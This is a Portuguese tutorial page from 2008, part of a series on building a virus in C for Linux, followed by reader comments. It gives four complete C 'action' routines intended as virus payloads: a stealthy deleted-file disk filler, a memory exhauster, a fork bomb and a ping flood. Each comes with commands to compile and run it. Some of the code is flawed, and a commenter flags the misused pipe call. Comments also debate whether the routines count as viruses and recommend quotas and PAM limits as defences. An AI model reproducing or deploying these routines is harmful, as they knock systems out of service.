Vírus de computador e criação de um vírus em C/C++ (parte 1 - básico)

Revirando meus materiais antigos encontrei um disquete, ainda funcionando, que continha um vírus criado no início de minha vida na informática. O código original estava em Pascal e foi criado para funcionar em DOS/Windows. Fiz algumas modificações, reescrevendo o código em C e adaptando seu funcionamento para Linux.

[ Hits: 164.976 ]

Por: Geraldo José Ferreira Chagas Júnior em 14/07/2008 | Blog: http://prginfo.blogspot.com


Ação do vírus



A ação do vírus foi posta em um tópico separado, pois é muito vasta, depende da criatividade do programador, podendo ir de uma bolinha passeando pela tela a destruição total do HD.

Foram escolhidas quatro ações que não destruirão seu sistema, elas apenas travam o sistema e uma simples reinicialização bastará para que tudo volte a funcionar perfeitamente. Porém não esperaremos chegar a esse ponto.

As quatro ações travam o sistema pois: (I) a primeira enche o HD, (II) a segunda lota a memória, (III) terceira cria vários processos de si mesmo e o (IV) quarto faz muitos pedidos ao host.

Todos os quatro exemplos poderão funcionar como programas a serem testados, porém, ao ser incluído no código do vírus, apenas as funções acao serão utilizadas.

Exemplo 1

O primeiro exemplo lota o HD com bagaço: cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.

O fonte está publicado para download aqui.

/* progacao1.c */

#include <stdio.h>
#include <stdlib.h>


acao()
{
   int ifd;
   char *buf=("1","2","3","4","5","6","7","8","9","0");
   long c;
   int desc;
   close(1); /* fecha a saída padrão, o vídeo */

   pipe (desc); /* com a saída padrão fechado, fazemos com que a saída passe a ser o pipe. O descritor dessa nova saída será armazenados em desc */

   ifd=open("./lotaHD", "w+",0777); /* abre o arquivo para escrita */

   unlink("./lotaHD"); /* apaga o arquivo */

   while (1)
   {
      write(ifd, buf, sizeof(buf)); /* em um loop infinito grava os dados de buf no arquivo */
      printf ("oi\n"); /* precisamos de um tempo para a gravação, é o tempo que se escreve esta string na saída. Por isso usamos o pipe. Não queremos que o vírus fique escrevendo nada no vídeo */
   }
}

main()
{
   int i;

   i=fork(); /* precisaremos criar um outro processo, pois o vírus terá que continuar sua execução enquanto sua ação é realizada.
          Não poderia ser uma thread, pois mesmo que o programa hospedeiro se encerre, o processo tem que continuar.
          O processo filho que foi criado é quem deve se encarregar da execução da ação, o pai tem que continuar a executar as funcionalidades restantes do vírus */

   if (i==0)
      acao();
}

Para compilá-lo basta fazer:

$ gcc progacao1.c -o progacao1

Para executá-lo:

$ ./progacao1

Use o comando (várias vezes) df para ver o espaço em disco diminuindo. Use o comando ls ou find ./ -name lotaHD para ver se encontra o arquivo.

Mate o processo com ps -ax (busque o número do processo progacao1) e kill -9 [núm. processo]

Exemplo 2

O exemplo 2 trava o sistema lotando a memória do micro, alocando o máximo de memória permitido.

O fonte está publicado para download aqui.

/* progacao2.c */

#include <stdlib.h>
#include <stdio.h>
acao ()
{
   char *f;
   while (1)
   {
      f = malloc (10000); /* aloca uma memória de 10000 bytes a cada loop e deixa perdida, não irá se importar em recuperar o endereço alocado */
      usleep (10); /* espera um tempo de 10/1000.000.000 s para o sistema não ficar lento de forma que se perceba uma execução fora do normal */
   }

}

main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}

Para compilar:

$ gcc progacao2.c -o progacao2

E para executar:

$ ./progacao2

Para ver o uso de memória aumentando use ps -axv.

Mate o processo com ps -ax (busque o número do processo progacao1) e kill -9 [núm. processo].

Exemplo 3

O exemplo 3 também enche a memória, porém desta vez com processos. Esse ataque é difícil de parar, pois não é possível matar os processos individualmente. Eles são criados mais rápidos do que o usuário é capaz de matar, ou seja o "ps + kill" não funcionaria.

Há uma opção, usar kill -TERM -1. Esse comando matará qualquer processo que não seja criado pelo root. Com isso, qualquer dado que não tenha sido gravado será perdido.

Versões mais recentes do Linux estão imunes a esse caso, pois agora os usuário podem ter apenas um determinado número de processos sendo executado, porém essa regra não serve para o root.

O fonte está publicado para download aqui.

/* progacao3.c */
acao ()
{
   while (1)
      fork();
}

main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}

Para compilar:

$ gcc progacao3.c -o progacao3

Para executar:

$ ./progacao3

Use: ps -ax para ver a infinidade de processos criados. Mate o processo com: kill -TERM -1.

Porém, não se esqueça que apenas os processos executados como root permanecerão ativos.

Exemplo 4

No exemplo 4 o host irá responder a vários pacotes de ping que serão disparados contra eles, sem perceber que assim irá travar o sistema.

Será executado o ping do sistema, que já é um loop infinito, tendo que ser executado em uma thread para não deixar o nosso loop parado esperando seu término.

O ping do sistema também retorna uma saída, que não queremos que seja mostrada na tela, tendo assim que ser redirecionada para o pipe.

O fonte está publicado para download aqui.

/* progacao4.c */

#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>

void ping(char *host); /* para usar a função na thread o cabeçalho da função deve estar declarado */

acao()
{
   int return_thread;
   pthread_t thread;

   while (1)
   {
      return_thread=pthread_create (&thread, NULL, (void *)ping,"ping -s 400 127.0.0.1"); /* criando a thread */
      usleep (10); /* já explicado no exemplo 2 */
   }
}

main () /* o main já foi explicado no exemplo 1 */
{
   int i;
   i=fork();
   if (i==0)
      acao();

}

void ping (char *host)
{
   int desc;
   close(1);

   pipe (desc); /* o pipe já foi explicado no exemplo 1 */
   system (host); /* executa um comando do sistema (ping, ls, rm, mv etc.) */
}

Para compilar:

$ gcc -o progacao4.c -lpthread progacao4

Para executar:

$ ./progacao4

Para ver o andamento use: ps-ax

Para parar a thread, basta matar o processo pai. Faça-o com:

$ ps -ax | grep progacao4 (busque o número do processo progacao4)

E:

$ kill -9 [núm. processo]

Página anterior     Próxima página

Páginas do artigo
   1. Motivação
   2. Introdução
   3. Ação do vírus
   4. Teorizando
   5. Mãos à obra
Outros artigos deste autor

Inicialização e interrupção do sistema (Debian)

Montando um ambiente utilizando Tomcat + Java + MySQL (Debian)

Linvox - Sistema Linux voltado para deficientes visuais

Configurando Servidor de Nomes - DNS (Debian)

X Window, Controladores de Janelas e Ambientes Desktop

Leitura recomendada

Criando uma calculadora com o Glade

Linguagem C - O primeiro programa

Criando uma aplicação gráfica com o Qt Designer

O ? Alternativo em C/C++

Introdução à linguagem C - Parte IV

  
Comentários
[1] Comentário enviado por iz@bel em 14/07/2008 - 12:43h

Bom! Acho que vou instalar o Clamav °_°
rsrsrsrsrs

Parabéns pelo Artigo!!!
Muito didático...
[]'s

[2] Comentário enviado por dailson em 14/07/2008 - 14:13h

Parabéns pelo artigo.
Didaticamente excelente!

[3] Comentário enviado por elgio em 14/07/2008 - 14:15h

Gostei do Artigo, com a parte da descrição de vírus e até lembrando o saudoso DIR-II...

Convém, porém, destacar que os exemplos apresentados neste artigo estão mais para negação de serviço local do que para vírus.

DoS pode (e DEVE!!) ser facilmente eviitada com politicas de quotas, sejam em disco ou seja de recursos via PAM LIMITS (http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=7070 e http://gravatai.ulbra.tche.br/~elgio/tchelinux2008/ - palestra Negação de serviço).

Se me permite, vi que usaste de forma equívoca a chamada pipe. Ela precisa sempre de um vetor de int de duas posições para funcionar. Teus códigos não sofrem com isto porque na verdade tu não usas o pipe, foi apenas um artifício para matar a saída padrão. O mesmo poderia ter sido feito com:

close(1);
close(2); // saida de erro!
fopen("/dev/null", "w");
dup(1);

Vai abrir o arquivo fake /dev/null que irá ocupar o descritor 1 (que fora fechado) o dup irá duplicar o 1 no 2 (pq tb foi fechado). Saida padrão e saida padrão de erro são agora /dev/null.

[]'s

[4] Comentário enviado por Ragen em 14/07/2008 - 17:00h

As instruções do Elgio estão corretas. Todavia, a didática e a qualidade do seu artigo estão de parabéns.

Há tempos não via um artigo tão interessante no VOL sobre a temática de programação.

Abraços

Ragen Dazs

[5] Comentário enviado por albfneto em 14/07/2008 - 18:14h

Muito bom, didático e a ideía é muito original!

[6] Comentário enviado por gjr_rj em 14/07/2008 - 18:49h

elgio, discordo quando você diz que "exemplos apresentados neste artigo estão mais para negação de serviço local do que para vírus", pois um vírus não se define por sua ação, eu procurei fazer algo que não acarretasse em problemas para a máquina, mas a funcionalidade fica por conta de quem resolver implementá-lo. Porém não aconselho a implementar os exemplos como vírus, as próximas partes do artigo evoluirá o código e esses sim ficaram mais perto do real. A idéia dessa primeira parte é só dar o "pontapé inicial".

Concordo com relação ao pipe. De início tinha usado o vetor com 2 posições, mas resolvi retirar uma, pois queria apenas não mostrar a saída, mas realmente, como queria usar esses códigos como exemplos, deveria ter feito da forma correta.

Legal a utilização do /dev/null. Não conhecia essa possibilidade.

Ainda não tive tempo de ler os link que você passou, mas vou fazer isso.

Obrigado pelo comentário.

[7] Comentário enviado por Teixeira em 14/07/2008 - 19:22h

O autor procurou demonstrar as linhas de raciocínio a serem seguidas por quem desejar (por qualquer motivo) produzir um virus.

Lembro-me de algumas versões do famoso Stoned, muito pequeno, e que se multiplicavam sequencialmente pelo HD afora, como arquivo oculto, dificultando a sua localização e que, decorrido algum tempo da infecção, iam deixando o computador cada vez mais lento.

Era um virus aparentemente despretencioso, porém muito eficaz.

As primeiras versões eram detectáveis, porque eram apendidas a um arquivo executável, cujo tamanho ia crescendo de forma visível.
Com o tempo, passaram a usar o atributo -h e o usuário só iria perceber muito tempo depois, quando a coisa toda travava.

O Michelangelo tinha duas versões principais: Uma delas simplesmente apagava o HD sem maiores satisfações em uma data convencionada (se não me engano era 6 de março).

A outra versão ainda brindava o incauto usuário com uma belíssima tela daquele artista - e detonava o HD do mesmo jeito.

Fica pois demonstrado que é possível produzir virus para o ambiente Linux, apesar das dificuldades.

[8] Comentário enviado por removido em 14/07/2008 - 22:29h

Bom,artigo,isso que eu chamo de criatividade.

[9] Comentário enviado por f_Candido em 14/07/2008 - 22:54h

Muito Massa. Parabéns.
Além de ser uma excelente maneira de aprender a programar e entender o sistema.


Abraços

[10] Comentário enviado por extreme z3r0 em 15/07/2008 - 09:49h

Parabens. excelente artigo... vou até criar um aqui para ver como que é ^^

[11] Comentário enviado por stremer em 15/07/2008 - 15:54h

artigo muito bom!
Em relação a discussão sobre os exemplos não serem virus...realmente não são... são malware... e como foi falado no artigo todo tipo de malware hoje é dito como virus... e geralmente um virus vem com algum malware embutido... acredito que tenhamos mais sobre virus como forma de infecção e tudo mais nos próximos artigos.
Porém vale lembrar que virus (se levarmos ao pé da letra) esta em extinção... hoje os chamados virus geralmente são malware, muitas vezes trojans que tentam roubar informação da maquina do usuário ou worms....

[12] Comentário enviado por engos em 15/07/2008 - 16:34h

Gostei muito do artigo!

Devido ultimamente o VOL estar colocando muitos artigos repetidos e já abordados por outros, parei de escrever alguns que estava fazendo de tanto ver o pessoal fazendo os artigos sem nada a acrescentar, fico muito contente que você tenha feito um realmente novo e criativo ao invés das coisas já exaustivamente repetidas, conseguiu ser melhor que qualquer outro que já li por aqui!

Tirando todo o bla bla bla já comentado sobre vírus, código etc, você planeja fazer a parte 2? Se sim, seria algo alem do basico?

Parabéns pelo artigo.

[13] Comentário enviado por gjr_rj em 15/07/2008 - 16:45h

No artigo não é dito que os exemplos são vírus. Os exemplos mostram "funcionalidades" que podem ser usadas no vírus. Resolvi usar exemplo que não prejudicassem a máquina e que fossem interessantes. Poderia usar um "apaga tudo", mas além de ser prejudicial, trata-se de um código pobre.

O vírus não é o exemplo, mas sim o código final usando a rotina acao dos exemplos.

[14] Comentário enviado por gjr_rj em 15/07/2008 - 16:52h

engos. sim, pretendo fazer a parte II e III desse artigo, já está definido o que será abordados e a parte II já começou a ser criada. A idéia é chegar em algo bem próximo a um vírus para windows. Ajustando a data/hora do arquivo, faze a infecção e execução sem precisar de arquivo temporário, não se auto infectar etc. O problema é a falta de tempo.

Na realidade, começou como mencionei apenas mostrando meu primeiro vírus, mas acabei gostando e resolvi evoluir até o último vírus criado por mim.

Posso adiantar que é 1000 x mais complicado criar o vírus para o Linux o que tem deixado o código muito legal.

[15] Comentário enviado por maran em 16/07/2008 - 08:50h

Grande Geraldo, cara demais em meu, fiquei viajando qui tentando entender o que fez, haja imaginação e conhecimento, mesmo sem saber nada vou ficar ancioso para ler os próximos,
um grande abraço.

[16] Comentário enviado por gjr_rj em 16/07/2008 - 11:08h

Foi mal maran !!!

Vou rever a forma de escrever o código e os comentários nos próximos artigos. A idéia não era fzer você viajar !

Revendo o artigo vi que realmente poderia ter explicado melhor o código.

vlw

[17] Comentário enviado por maran em 16/07/2008 - 11:10h

Não foi uma critica a seu artigo e sim um elogio meu velho, não sei se vc me entendeu mal, disse que viajei não pela explicação, mas sim por não entender programação, mas esta muito bom seu artigo ;)

Aguardo ancioso os próximos ;P

Abraços

[18] Comentário enviado por gjr_rj em 16/07/2008 - 11:36h

maran,

tinha entendido +-.

Entendi que tinha gostado do artigo. Mas não percebi que não conhece programação. Para dizer a verdade isso "nem passou pela minha cabeça". É que as vezes nos esquecemos que pessoas como você são normais.

Quer dizer que você não sabe tudo ?

rsrsrsrs

Bricadeiras a parte, vlw pelo comentário !

[19] Comentário enviado por maran em 16/07/2008 - 13:24h

asuhhusahashuhusa
Estou ainda em estruturas de dados e ainda sou normal, husahusahu to longe de sabe tudo hsuahusahusa

Mas falando serio é isso ae, vou até estudar um pouco mais , pq este lance de C/C++ parece ser demais ;)

Grande abraço

[20] Comentário enviado por tsanches em 16/07/2008 - 18:23h

Muito Interessante sua idéria, Parabéns, artigo muito bem elaborado didaticamente, ja ganhou a camisa :-)
grj_rj = favoritos
Um grande abraço
TSANCHES

[21] Comentário enviado por leoberbert em 16/07/2008 - 21:01h

Passando para dizer que seu artigo está muito bom e bem explicado. Parabéns pela sua didática quanto ao mesmo.

[]' Leo.

[22] Comentário enviado por ruhanbidart em 16/07/2008 - 22:52h

Excelente artigo, boa didática e parabéns pela inovação em relação ao assunto.

[23] Comentário enviado por gersonraymond em 18/07/2008 - 08:59h

Parabéns pelo belo artigo, pois faz bastante tempo que não vejo algo parecido. Já pensou em publicar um livro, seguindo esta linha de aplicação você terá um grande sucesso e superará diversos livros que estão no mercado com conteúdos super vazios, um abraço.

[24] Comentário enviado por gjr_rj em 18/07/2008 - 10:24h

Publicar um livro !

rsrsrsrs

Quem iria publicar um livro escrito por mim ?

rsrsrsrs
Pensar, já pensei, na época não era nem sobre esse assunto.
De qualquer forma, não saberia quem procurar.

[25] Comentário enviado por gilicraft em 18/07/2008 - 15:15h

comecei no linux mandriva hoje, eu estou tentando migrar para o linux e comecei a ler tudo que aparecia no google, achei interessante o seu artigo e queria tirar umas duvidas, se vc poder me ajudar poderia poracaso me dizer como eu desligo a permissao de escrita de uma pasta ou dos arquivos de uma pasta? grato e parabens pelo artigo

[26] Comentário enviado por SamL em 07/04/2009 - 17:31h

"Quem iria publicar um livro escrito por mim ?"
Publicar eu não sei, mas eu compraria.
Parabens pelo Artigo.
vlw!

[27] Comentário enviado por removido em 07/11/2009 - 12:21h

nao acabei de ler tudo, mas ja ta nos meus favoritos, ainda estou aprendendo programação, e nao estou conseguindo entender tudo isso, depois vou reler tudo isso

parabens, otimo artigo

[28] Comentário enviado por Relue em 17/03/2010 - 22:17h

muito interessante o artigo !!!!!

[29] Comentário enviado por georgekihoma em 11/07/2010 - 11:16h

Cara, primeiro acho que qualquer gerente de redes/segurança deve conhecer esses assuntos. Dito isto, considero que a definição de vírus deve contemplar o fato de que existe:
1 - Infecção de algum tipo de arquivo ou setor de boot (MBR)
2 - Após a infecção, a execução/abertura do arquivo ou inicialização do computador significam a replicação do vírus.
3 - Propagação (via rede, pendrive, mail, etc)

As ações específicas do vírus dependem do que o programador deseja fazer. Se for um vírus destrutivo ele pode apagar dados, destruir a MBR, ou no caso do Chernobyl, apagar as informações do CMOS.

Por isso é interessante que um gerente de segurança/redes saiba fazer a distinção entre vírus, trojans, malware, spyware.


[30] Comentário enviado por luandemattos em 04/11/2010 - 22:08h

Muito Bom mesmo!

Principalmente para quem está começando, e o código comentado,muito bom mesmo.

[31] Comentário enviado por wisetux em 14/03/2011 - 15:15h

ADOREI , muito bom mesmo !

[32] Comentário enviado por evamberto em 06/04/2011 - 20:50h

muito bom.!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

[33] Comentário enviado por NewWave em 14/04/2013 - 10:48h

Olá, amigo!

Em primeiro lugar, parabéns pelo artigo. Ainda nem terminei de ler, mas já estou vendo que é um artigo de primeira!
Eu estou me baseando nele para um seminário que eu tenho que apresentar na faculdade.
Só dando uma humilde contribuição: a função fork() precisa da biblioteca unistd.h, portanto, #include <unistd.h>.
Muito obrigado pela ajuda!

Bom domingo.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts